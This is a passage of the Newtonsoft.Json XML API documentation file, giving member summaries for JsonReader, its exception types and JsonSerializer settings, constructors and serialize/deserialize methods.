Gets or sets how date formatted strings, e.g. \"\\/Date(1198908717056)\\/\" and \"2012-03-21T05:40Z\", are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.DateFormatString\">\n            <summary>\n            Gets or sets how custom date formatted strings are parsed when reading JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum. \n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.TokenType\">\n            <summary>\n            Gets the type of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Value\">\n            <summary>\n            Gets the text value of the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.ValueType\">\n            <summary>\n            Gets the .NET type for the current JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Depth\">\n            <summary>\n            Gets the depth of the current token in the JSON document.\n            </summary>\n            <value>The depth of the current token in the JSON document.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Path\">\n            <summary>\n            Gets the path of the current JSON token. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReader.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReader\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Read\">\n            <summary>\n            Reads the next JSON token from the source.\n            </summary>\n            <returns><c>true</c> if the next token was read successfully; <c>false</c> if there are no more tokens to read.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsInt32\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsString\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.String\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.String\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBytes\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <returns>A <see cref=\"T:System.Byte\"/>[] or <c>null</c> if the next JSON token is null. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDouble\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsBoolean\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDecimal\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTime\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.ReadAsDateTimeOffset\">\n            <summary>\n            Reads the next JSON token from the source as a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <returns>A <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>. This method will return <c>null</c> at the end of an array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Skip\">\n            <summary>\n            Skips the children of the current token.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken)\">\n            <summary>\n            Sets the current token.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetToken(Newtonsoft.Json.JsonToken,System.Object,System.Boolean)\">\n            <summary>\n            Sets the current token and value.\n            </summary>\n            <param name=\"newToken\">The new token.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"updateIndex\">A flag indicating whether the position index inside an array should be updated.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.SetStateBasedOnCurrent\">\n            <summary>\n            Sets the state based on current token type.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Dispose(System.Boolean)\">\n            <summary>\n            Releases unmanaged and - optionally - managed resources.\n            </summary>\n            <param name=\"disposing\"><c>true</c> to release both managed and unmanaged resources; <c>false</c> to release only unmanaged resources.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReader.Close\">\n            <summary>\n            Changes the reader's state to <see cref=\"F:Newtonsoft.Json.JsonReader.State.Closed\"/>.\n            If <see cref=\"P:Newtonsoft.Json.JsonReader.CloseInput\"/> is set to <c>true</c>, the source is also closed.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonReaderException\">\n            <summary>\n            The exception thrown when an error occurs while reading JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonReaderException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonReaderException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonRequiredAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member, and to require that the member has a value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializationException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LineNumber\">\n            <summary>\n            Gets the line number indicating where the error occurred.\n            </summary>\n            <value>The line number indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.LinePosition\">\n            <summary>\n            Gets the line position indicating where the error occurred.\n            </summary>\n            <value>The line position indicating where the error occurred.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializationException.Path\">\n            <summary>\n            Gets the path to the JSON where the error occurred.\n            </summary>\n            <value>The path to the JSON where the error occurred.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializationException.#ctor(System.String,System.String,System.Int32,System.Int32,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializationException\"/> class\n            with a specified error message, JSON path, line number, line position, and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"path\">The path to the JSON where the error occurred.</param>\n            <param name=\"lineNumber\">The line number indicating where the error occurred.</param>\n            <param name=\"linePosition\">The line position indicating where the error occurred.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonSerializer\">\n            <summary>\n            Serializes and deserializes objects into and from the JSON format.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> enables you to control how objects are encoded into JSON.\n            </summary>\n        </member>\n        <member name=\"E:Newtonsoft.Json.JsonSerializer.Error\">\n            <summary>\n            Occurs when the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> errors during serialization and deserialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceResolver\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.IReferenceResolver\"/> used by the serializer when resolving references.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Binder\">\n            <summary>\n            Gets or sets the <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ISerializationBinder\"/> used by the serializer when resolving type names.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TraceWriter\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.Serialization.ITraceWriter\"/> used by the serializer when writing trace messages.\n            </summary>\n            <value>The trace writer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.EqualityComparer\">\n            <summary>\n            Gets or sets the equality comparer used by the serializer when comparing references.\n            </summary>\n            <value>The equality comparer.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\">\n            <summary>\n            Gets or sets how type name writing and reading is handled by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\" />.\n            </summary>\n            <remarks>\n            <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> should be used with caution when your application deserializes JSON from an external source.\n            Incoming types should be validated with a custom <see cref=\"P:Newtonsoft.Json.JsonSerializer.SerializationBinder\"/>\n            when deserializing with a value other than <see cref=\"F:Newtonsoft.Json.TypeNameHandling.None\"/>.\n            </remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormat\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:System.Runtime.Serialization.Formatters.FormatterAssemblyStyle.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.TypeNameAssemblyFormatHandling\">\n            <summary>\n            Gets or sets how a type name assembly is written and resolved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.TypeNameAssemblyFormatHandling.Simple\" />.\n            </summary>\n            <value>The type name assembly format.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.PreserveReferencesHandling\">\n            <summary>\n            Gets or sets how object references are preserved by the serializer.\n            The default value is <see cref=\"F:Newtonsoft.Json.PreserveReferencesHandling.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets how reference loops (e.g. a class referencing itself) is handled.\n            The default value is <see cref=\"F:Newtonsoft.Json.ReferenceLoopHandling.Error\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MissingMemberHandling\">\n            <summary>\n            Gets or sets how missing members (e.g. JSON contains a property that isn't a member on the object) are handled during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MissingMemberHandling.Ignore\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.NullValueHandling\">\n            <summary>\n            Gets or sets how null values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.NullValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DefaultValueHandling\">\n            <summary>\n            Gets or sets how default values are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DefaultValueHandling.Include\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ObjectCreationHandling\">\n            <summary>\n            Gets or sets how objects are created during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ObjectCreationHandling.Auto\" />.\n            </summary>\n            <value>The object creation handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ConstructorHandling\">\n            <summary>\n            Gets or sets how constructors are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.ConstructorHandling.Default\" />.\n            </summary>\n            <value>The constructor handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MetadataPropertyHandling\">\n            <summary>\n            Gets or sets how metadata properties are used during deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.MetadataPropertyHandling.Default\" />.\n            </summary>\n            <value>The metadata properties handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Converters\">\n            <summary>\n            Gets a collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.\n            </summary>\n            <value>Collection <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that will be used during serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.ContractResolver\">\n            <summary>\n            Gets or sets the contract resolver used by the serializer when\n            serializing .NET objects to JSON and vice versa.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Context\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> used by the serializer when invoking serialization callback methods.\n            </summary>\n            <value>The context.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Formatting\">\n            <summary>\n            Indicates how JSON text output is formatted.\n            The default value is <see cref=\"F:Newtonsoft.Json.Formatting.None\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled during serialization and deserialization.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateParseHandling\">\n            <summary>\n            Gets or sets how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.DateParseHandling.DateTime\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatParseHandling\">\n            <summary>\n            Gets or sets how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written as JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.FloatFormatHandling.String\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            The default value is <see cref=\"F:Newtonsoft.Json.StringEscapeHandling.Default\" />.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text,\n            and the expected date format when reading JSON text.\n            The default value is <c>\"yyyy'-'MM'-'dd'T'HH':'mm':'ss.FFFFFFFK\"</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.Culture\">\n            <summary>\n            Gets or sets the culture used when reading JSON.\n            The default value is <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.MaxDepth\">\n            <summary>\n            Gets or sets the maximum depth allowed when reading JSON. Reading past this depth will throw a <see cref=\"T:Newtonsoft.Json.JsonReaderException\"/>.\n            A null value means there is no maximum.\n            The default value is <c>128</c>.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonSerializer.CheckAdditionalContent\">\n            <summary>\n            Gets a value indicating whether there will be a check for additional JSON content after deserializing an object.\n            The default value is <c>false</c>.\n            </summary>\n            <value>\n            \t<c>true</c> if there will be a check for additional JSON content after deserializing an object; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Create(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will not use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </summary>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.CreateDefault(Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Creates a new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"settings\">The settings to be applied to the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.</param>\n            <returns>\n            A new <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> instance using the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> will use default settings \n            from <see cref=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\"/> as well as the specified <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(System.IO.TextReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Populate(Newtonsoft.Json.JsonReader,System.Object)\">\n            <summary>\n            Populates the JSON values onto the target object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to read values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that contains the JSON structure to deserialize.</param>\n            <returns>The <see cref=\"T:System.Object\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(System.IO.TextReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:System.IO.TextReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:System.IO.TextReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize``1(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <typeparam name=\"T\">The type of the object to deserialize.</typeparam>\n            <returns>The instance of <typeparamref name=\"T\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Deserialize(Newtonsoft.Json.JsonReader,System.Type)\">\n            <summary>\n            Deserializes the JSON structure contained by the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>\n            into an instance of the specified type.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> containing the object.</param>\n            <param name=\"objectType\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The instance of <paramref name=\"objectType\"/> being deserialized.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(System.IO.TextWriter,System.Object)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:System.IO.TextWriter\"/>.\n            </summary>\n            <param name=\"textWriter\">The <see cref=\"T:System.IO.TextWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonSerializer.Serialize(Newtonsoft.Json.JsonWriter,System.Object,System.Type)\">\n            <summary>\n            Serializes the specified <see cref=\"T:System.Object\"/> and writes the JSON structure\n            using the specified <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"jsonWriter\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> used to write the JSON structure.</param>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> to serialize.</param>\n            <param name=\"objectType\">\n            The type of the value being serialized.\n            This parameter is used when <see 